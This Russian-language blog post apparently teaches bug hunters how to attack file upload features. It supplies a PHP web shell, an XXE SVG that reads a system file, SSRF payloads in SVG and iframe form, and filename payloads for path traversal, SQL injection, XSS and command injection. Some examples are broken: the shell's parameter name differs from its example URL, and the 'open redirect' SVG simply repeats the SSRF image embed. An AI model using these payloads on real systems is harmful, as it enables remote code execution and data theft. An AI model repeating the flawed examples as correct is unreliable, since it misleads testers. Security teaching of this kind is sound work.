
В этом блоге я расскажу о некоторых уязвимостях при загрузке файлов.
Введение:
Во многих приложениях существует функция загрузки файлов. Однако её реализация отличается в зависимости от специфики использования. Некоторые приложения позволяют загружать только изображения, поддерживая лишь форматы, связанные с изображениями, такие как .jpg или .png. Другие приложения поддерживают загрузку различных расширений, соответствующих их бизнес-кейсам.
1. RCE через загрузку файлов:
Одной из самых интересных атак, связанных с функцией загрузки файлов, является удалённое выполнение кода (Remote Code Execution, RCE). Существует несколько способов исполнения вредоносного кода с использованием загруженных файлов. Один из наиболее распространённых методов — загрузка шелла и получение дальнейшего доступа к системе.
PHP-скрипт для RCE:
Попробуйте загрузить следующий код с расширением .php. Затем определите расположение и извлеките файл. В URL-адресе файла можно добавить параметр c, где можно указать команды, например, whoami. Пример URL:
“https://example.com/shell.php?cmd=whoami”
Пример кода:
<?php phpinfo();?>
<?php system($_GET[‘c’]);?>Важно: В реальных приложениях это будет не так просто. Обычно на загрузку подобных файлов накладываются ограничения. Ниже мы обсудим методы обхода этих ограничений.
Дополнительные материалы:
HackerOne Report #506646
HackerOne Report #343726
Статья в Medium: "File Upload to RCE"
Chris Young: "File Upload to Remote Code Execution"
[Бонус] RCE через загрузку .gif:
HackerOne Report #135072
2. XSS через загрузку файлов
Во время тестирования функционала загрузки файлов существует множество способов выполнить сценарий атаки с использованием XSS. Загрузка файлов предоставляет широкие возможности для нахождения XSS-уязвимостей в веб-приложениях. Ниже перечислены некоторые способы достижения XSS через загрузку файлов:
1) XSS через имя файла.
2) XSS через метаданные.
3) XSS через SVG-файл.
4) Слепой XSS (Blind XSS) через SVG-файл.
Шаги по воспроизведению атак и детали каждого метода можно найти в этой полезной статье от Brutelogic. Ознакомиться со скриптом для получения Blind XSS через SVG-файл можно тут.
Дополнительные материалы:
Brutelogic: "File Upload XSS"
HackerOne Report #964550
HackerOne Report #880099
HackerOne Report #1010466
3.1 SSRF через загрузку файлов
Server-Side Request Forgery (SSRF) — одна из самых интересных и серьёзных уязвимостей в области безопасности. Функционал загрузки файлов может позволять использовать такие форматы, как HTML или SVG, что даёт возможность реализовать SSRF. Эта атака бывает нескольких видов:
Внутренний SSRF (Internal SSRF).
SSRF через метаданные облака (Cloud Metadata SSRF).
Внешний SSRF (External SSRF).
3.2 SSRF через имя файла.
Попробуйте отправить URL в качестве имени файла, чтобы получить Blind SSRF. Пример:
filename=https://172.17.0.1/internal/file
Также можно попытаться изменить атрибут type="file" на type="url" в запросе.
3.3 SSRF через загрузку SVG-файла.
Попробуйте загрузить следующий код с расширением .svg. После получить загруженный файл из приложения, чтобы проверить, возможен ли SSRF:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>3.4 SSRF через iframe в HTML
Попробуйте загрузить следующий код с расширением .html. После обратитесь к загруженному файлу из приложения, чтобы проверить, возможен ли SSRF:
<html>
<body>
<iframe src="http://collaborator.net" width="500" height="500"></iframe>
</body>
</html>Дополнительные материалы:
HackerOne Report #223203
SVG Cheatsheet
Server-Side Request Forgery: A Forged Document
4. XXE через загрузку файлов
Функционал загрузки файлов открывает возможности для атак с использованием XML External Entities (XXE), особенно если приложение принимает файлы форматов, которые поддерживают XML. Поскольку формат SVG использует XML, злоумышленник может отправить вредоносное SVG-изображение, чтобы получить доступ к скрытым поверхностям атаки, связанным с XXE-уязвимостями.
Пример кода:
Попробуйте загрузить следующий код с расширением .svg и получить загруженный файл из приложения:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>Дополнительные материалы:
HackerOne Report #897244
Exploit-DB Documentation
PortSwigger: XXE via File Upload
5. CSRF при загрузке файлов
Cross-Site Request Forgery (CSRF) — это атака, которая заставляет аутентифицированных пользователей отправлять запросы веб-приложению, в котором они уже прошли аутентификацию. CSRF-атаки могут быть реализованы путём создания HTML-формы.
Шаги проверки:
Перехватить запрос из формы загрузки.
Создать Proof of Concept (PoC) с помощью CSRF-генератора в Burp Suite.
Открыть созданный PoC-файл в другом аккаунте и в другом браузере.
Проверить, удалось ли успешно загрузить файл от имени другого аккаунта.
Дополнительные материалы:
HackerOne Report #868572
HackerOne Report #169699
AetherLab: File Upload CSRF
6. Утечка метаданных EXIF
Эта уязвимость возникает, когда пользователь загружает изображение на сайт, а метаданные EXIF не удаляются. В результате любой человек может получить чувствительную информацию пользователей сайта, такую как:
Геолокация
Информация об устройстве (название, версия устройства)
Используемое ПО и его версия
Шаги проверки:
Посетите репозиторий с изображениями, содержащими метаданные.
Загрузите изображение на целевой сайт.
Скачайте загруженное изображение с сайта.
Проверьте наличие EXIF-метаданных через сервис для анализа метаданных. Если метаданные не были удалены, уязвимость может быть подтверждена.
Дополнительные материалы:
HackerOne Report #446238
HackerOne Report #906907
EXIF Geo-Data Not Stripped: HowToHunt
7. Open Redirect через загрузку файла SVG
Функционал загрузки файлов может быть использован для создания уязвимости Open Redirect при определённых условиях. Злоумышленник может сформировать полезную нагрузку, которая перенаправит пользователя на контролируемый атакующим домен.
Шаги реализации:
1) Сохраните следующий код как файл с расширением .svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>2) Загрузите этот файл и попробуйте извлечь его.
Дополнительные материалы:
HackerOne Report 368927
WizlynxGroup Security Advisory WLX-2020-009
8. DOS с использованием большого файла
Функционал загрузки файлов обычно ограничивает размер загружаемого файла (обычно 5–200 МБ). Однако, если проверки на размер отсутствуют, злоумышленник может загрузить файл большого размера. Это может привести к сильному потреблению ресурсов и вызову отказа в обслуживании (DOS).
Шаги проверки:
Создайте файл, размер которого превышает допустимый предел, например, изображение размером 500 МБ.
Попробуйте загрузить этот файл. Если приложение принимает его и начинает обработку, проверьте работу приложения с другого устройства, чтобы выявить замедление или ошибки подключения.
Дополнительные материалы:
HackerOne Report 887321
HackerOne Report 454
9. Обход проверки при загрузке файлов
При проверке загружаемых файлов сервер может использовать сравнение расширений для предотвращения загрузки вредоносных файлов. Однако такие проверки можно обойти, используя различные техники обхода фильтров.
Полезные ресурсы:
PayloadAllTheThings File Upload Bypass.
Unrestricted File Upload~Owasp
Hacktricks ~ File Upload Methodology
10. Уязвимости в именах файлов
Ниже приведены примеры уязвимостей, которые можно реализовать, изменяя имя файла перед его загрузкой. Эти тесты просты и полезны для проверки. Измените имя файла на указанные варианты, чтобы проверить наличие соответствующих уязвимостей:
Path Traversal: ../../../tmp/lol.png
SQL-инъекция: sleep(10) -- .jpg
XSS: <svg onload=alert(document.domain)>.jpg/png
Command Injection: ; sleep 10;.jpg
DOS (отказ в обслуживании): Задайте для файла длинное имя и загрузите его. Это может вызвать отказ в обслуживании.
11. Прочие атаки на функционал загрузки файлов
CSV Injection
File Overwrite
Pixel Flood Attack
ImageTragik
Zip Slip Attack
Спасибо за внимание!
Life-Hack - Жизнь-Взлом
